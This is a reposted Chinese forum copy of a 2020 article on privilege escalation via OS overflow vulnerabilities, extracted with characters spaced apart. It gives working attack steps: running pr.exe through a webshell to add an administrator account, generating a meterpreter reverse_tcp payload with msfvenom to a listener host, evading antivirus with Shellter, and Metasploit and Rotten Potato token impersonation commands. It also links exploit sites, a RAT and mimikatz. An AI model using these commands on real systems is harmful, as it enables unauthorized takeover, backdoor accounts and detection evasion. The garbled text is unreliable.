搜索

[21261] 2020-10-04_利用系统溢出漏洞提权

文档创建者：s7ckTeam
浏览次数：12
最后更新：2025-01-18
2020-10-04_利用系统溢出漏洞提权 利 用 系 统 溢 出 漏 洞 提 权 转 载 自 ： 安 全 鸭   L e m o n S e c   2 0 2 0 - 1 0 - 0 4 溢 出 漏 洞 提 权 是 利 用 目 标 操 作 系 统 层 漏 洞 进 行 权 限 提 升 ， 通 常 步 骤 是 拿 到 s h e l l 后 获 取 目 标 机 器 的 补 丁 信 息 ， 通 过 目 标 的 补 丁 情 况 获 取 相 对 应 的 漏 洞 ， 进 行 提 权 一 、 一 、 W i n d o w s   溢 出 提 权 溢 出 提 权 1 . 提 权 辅 助 工 具 提 权 辅 助 工 具 w i n d o w s - e x p l o i t - s u g g e s t e r W i n d o w s - E x p l o i t - S u g g e s t e r 通 过 下 载 微 软 公 开 漏 洞 库 报 道 到 本 地 x l s 文 件 ， 然 后 根 据 操 作 系 统 版 本 ， 与 s y s t e m i n f o 的 信 息 进 行 对 比 对 从 而 判 断 目 标 可 能 存 在 的 溢 出 漏 洞 ， 需 要 注 意 的 是 并 非 所 有 输 出 的 漏 洞 都 可 以 利 用 ， 实 践 出 真 知 。 使 用 方 法 如 下 ： 在 目 标 主 机 上 执 行 命 令 s y s t e m i n f o 并 将 输 出 的 结 果 保 存 为 一 个 t x t 文 件 。 根 据 返 回 的 结 果 和 提 供 的 E X P 地 址 进 行 漏 洞 利 用 完 成 提 权 。 W i n d o w s 提 权 漏 洞 利 用 工 具 提 权 漏 洞 利 用 工 具 该 项 目 集 成 了 大 部 分 w i n d o w s 溢 出 漏 洞 提 权 的 E X P ， 可 直 接 利 用 。 # W i n d o w s 查 看 补 丁 信 息 ， 或 者 直 接 s y s t e m i n f o w m i c   q f e   g e t   C a p t i o n , d e s c r i p t i o n , h o t f i x i d , i n s t a l l e d o n 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / A o n C y b e r L a b s / W i n d o w s - E x p l o i t - S u g g e s t e r #   更 新 漏 洞 库 ， 更 新 完 成 后 会 在 统 计 目 录 生 成 包 含 截 至 目 前 w i n d o w s 所 有 漏 洞 信 息 p y t h o n 2   w i n d o w s - e x p l o i t - s u g g e s t e r . p y   - - u p d a t e #   对 比 补 丁 情 况 得 到 目 标 可 能 存 在 的 漏 洞 p y t h o n 2   w i n d o w s - e x p l o i t - s u g g e s t e r . p y   - - d a t a b a s e   2 0 2 0 - 0 5 - 2 8 - m s s b . x l s     - - s y s t e m   s y s t e m i n f o . t x t 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / S e c W i k i / w i n d o w s - k e r n e l - e x p l o i t s /
一 般 来 说 每 个 版 本 的 服 务 都 有 成 功 高 且 稳 定 的 漏 洞 ， 遇 见 这 些 版 本 的 服 务 器 在 没 有 打 补 丁 的 情 况 下 优 先 使 用 对 应 的 漏 洞 提 权 ： 例 ： P R 提 权 拿 到 s h e l l 后 上 传 c m d . e x e 和 p r . e x e ， 在 菜 刀 终 端 窗 口 输 入 命 令 进 行 提 权 ， 如 果 目 标 不 允 许 上 传 e x e 文 件 ， 这 里 也 可 以 上 传 其 他 的 格 式 。 有 W i n d o w s 识 别 的 是 文 件 P E 结 构 ， 所 以 并 不 影 响 执 行 ： 回 显 s y s t e m ， 提 权 成 功 利 用 返 回 的 s y s t e m 权 限 创 建 账 号 ： 提 权 成 功 ： W i n d o w s 2 0 0 3 ： p r 、 巴 西 烤 肉 、 2 0 1 8 - 8 0 2 0 W i n d o w s 2 0 0 8 ： 利 用   m s 1 6 - 0 7 5 劫 持 t o k e n ( 烂 土 豆 ) W i n d o w s   2 0 1 2 / 2 0 1 6 ： m s 1 8 - 8 1 2 0 C : i n e t p u b t a r g e t u p l o a d l a b s u p l o a d p r . e x e   " w h o a m i " C : I n e t p u b w w w r o o t 8 0 9 9 p r . e x e   " n e t   u s e r   x y   1 2 3   / a d d   & &   n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   x y   / a d d "
L i n u x   溢 出 提 权 溢 出 提 权 根 据 内 核 版 本 找 对 应 的 漏 洞 M S F 提 权 提 权   M S F 的 后 渗 透 模 块 十 分 强 大 ， 个 人 以 为 利 用 M S F 提 权 相 对 于 一 个 E X P 一 个 E X P 的 去 打 目 标 主 机 要 显 得 温 柔 很 多 。 M S F 提 权 的 大 致 步 骤 如 下 ： 1 . 生 成 p a y l o a d u n a m e   - r # 查 看 内 核 版 本 ， 找 对 应 漏 洞 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / S e c W i k i / l i n u x - k e r n e l - e x p l o i t s / m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = 1 9 2 . 1 6 8 . 1 . 5   l p o r t = 1 1 2 2   - f   e x e   >   / r o o t / a . e x e
  2 . 端 口 转 发 实 战 情 况 下 M S F 处 于 本 地 内 网 ， 目 标 的 会 话 无 法 直 接 反 弹 到 本 地 。 利 用 n g r o c k 等 工 具 实 现 端 口 转 发 ， n g r o c k 的 使 用 方 法 传 送 门 ： M S F 配 合 N g r o c k 穿 透 内 网 3 . p a y l o a d 做 免 杀 如 果 目 标 主 机 存 在 较 强 的 W A F ， 无 法 直 接 建 立 会 话 ， 那 么 就 需 要 对 p a y l o a d 进 行 免 杀 。 免 杀 的 方 法 很 多 ， 但 是 强 大 的 不 多 。 推 荐 s h e l l t e r ： M S F 配 合 s h e l l t e r 实 现 3 6 0 免 杀 4 . 建 立 监 听 5 . 在 目 标 机 器 上 运 行 生 成 的 p a y l o a d ， 主 机 上 线 6 . 拿 到 会 话 开 始 提 权 M S F 漏 洞 发 现 模 块 漏 洞 发 现 模 块 m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = 1 9 2 . 1 6 8 . 1 . 5   l p o r t = 1 1 2 2   - f   e x e   >   / r o o t / a . e x e u s e   e x p l o i t / m u l t i / h a n d l e r s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   1 9 2 . 1 6 8 . 1 . 5 s e t   l p o r t   1 1 2 2 r u n # 查 看 权 限 g e t u i d # 尝 试 自 动 提 权 ， 一 般 都 没 法 成 功 g e t s y s t e m # 挂 起 会 话 b a c k g r o u n d # 查 看 会 话 列 表 s e s s i o n s   - l # 查 找 补 丁 缺 失 模 块 ， 会 返 回 一 些 漏 洞 可 直 接 利 用 u s e   p o s t / w i n d o w s / g a t h e r / e n u m _ p a t c h e s s e t   s e s s i o n   x r u n # 这 个 模 块 慢 一 点 ， 但 是 相 对 上 面 那 个 更 稳 定 u s e   p o s t / m u l t i / r e c o n / l o c a l _ e x p l o i t _ s u g g e s t e r s e t   s e s s i o n   x r u n
从 返 回 的 漏 洞 列 表 寻 找 最 合 适 的 漏 洞 进 行 利 用 ， 例 如 ： 返 回 高 权 限 会 话 ， 提 权 成 功 ： M S F 烂 土 豆 劫 持 烂 土 豆 劫 持 t o k e n 提 权 （ 提 权 （ m s 1 6 _ 0 7 5 ） ） u s e   e x p l o i t / w i n d o w s / l o c a l / m s 1 5 _ 0 5 1 _ c l i e n t _ c o p y _ i m a g e s e t   s e s s i o n   3 r u n s e s s i o n   - i   3 # 调 用 s e s s i o n u p l o a d   / r o o t / p o t a t o . e x e   # 上 传 p o t a t o d i r u s e   i n c o g n i t o   # 调 用 t o k e n 劫 持 模 块 l i s t _ t o k e n s   - u # 查 看 可 用 的 s e s s i o n e x e c u t e   - c H   - f   . / p o t a t o . e x e # 执 行 （ 没 返 回 就 多 搞 几 次 ） i m p e r s o n a t e _ t o k e n   " N T   A U T H O R I T Y S Y S T E M " # 导 入 权 限 ， 成 功 提 权 。 会 返 回 一 个 s y s t e m 权 限 的 会 话 # 如 果 杀 软 对 p o t a t o . e x e   下 手 ， 只 有 改 后 缀 或 者 找 免 杀 版 本 #   常 见 漏 洞 E X P 网 站
个 人 公 众 号 ， 非 团 队 运 营 ， 每 日 输 出 原 创 时 间 有 限 ， 毕 竟 还 要 忙 于 工 作 ， 不 过 会 尽 量 更 多 的 输 出 原 创 ～ 个 人 公 众 号 ， 非 团 队 运 营 ， 每 日 输 出 原 创 时 间 有 限 ， 毕 竟 还 要 忙 于 工 作 ， 不 过 会 尽 量 更 多 的 输 出 原 创 ～ 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 红 队 技 能 ： H a s h 读 取 与 端 口 转 发 民 航 业 网 络 安 全 工 作 思 考 2 0 2 0 h w 系 列 文 章 整 理 （ 中 秋 快 乐 、 国 庆 快 乐 、 双 节 快 乐 ） H W 中 如 何 检 测 和 阻 止 D N S 隧 道 从 攻 击 者 角 度 解 读 防 护 思 路 渗 透 测 试 干 货   |   横 向 渗 透 的 常 见 方 法 蜜 罐 调 研 与 内 网 安 全 2 0 2 0 H W 热 门 0 d a y 分 析 与 复 现 扫 描 关 注 扫 描 关 注 L e m o n S e c #   常 见 漏 洞 E X P 网 站 h t t p s : / / e x p l o i t - d b . c o m h t t p s : / / p a c k e t s t o r m s e c u r i t y . c o m h t t p s : / / p a c k e t s t o r m s e c u r i t y . c o m / s e a r c h / ? q = m s 1 5 - 0 5 7 h t t p s : / / w w w . s e c u r i t y f o c u s . c o m / h t t p s : / / w w w . s e c u r i t y f o c u s . c o m / b i d h t t p : / / 1 3 3 7 d a y . c o m h t t p : / / 0 d a y . t o d a y h t t p : / / s e c l i s t s . o r g / f u l l d i s c l o s u r e h t t p : / / e x p l o i t s e a r c h . n e t h t t p : / / w w w . s e c u r i t e a m . c o m h t t p : / / m e t a s p l o i t . c o m / m o d u l e s h t t p : / / s e c u r i t y r e a s o n . c o m h t t p s : / / c x s e c u r i t y . c o m / e x p l o i t h t t p : / / s e c u r i t y t r a c k e r . c o m # 提 权 项 目 合 集 ： h t t p s : / / g i t h u b . c o m / l y s h a r k / W i n d o w s - e x p l o i t s h t t p s : / / g i t h u b . c o m / S e c W i k i / w i n d o w s - k e r n e l - e x p l o i t s h t t p s : / / g i t h u b . c o m / k l s f c t / g e t s h e l l h t t p s : / / g i t h u b . c o m / i a n x t i a n x t / w i n - e x p - h t t p s : / / g i t h u b . c o m / u k n o w s e c / S w e e t P o t a t o h t t p s : / / g i t h u b . c o m / u k n o w s e c / g e t S y s t e m h t t p s : / / g i t h u b . c o m / s 0 w r 0 b 1 n d e f / L i n u x - K e r n e l - E x p l o i t e s # 其 他 h t t p s : / / g i t h u b . c o m / q u a s a r / Q u a s a r R A T / r e l e a s e s h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z / r e l e a s e s

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理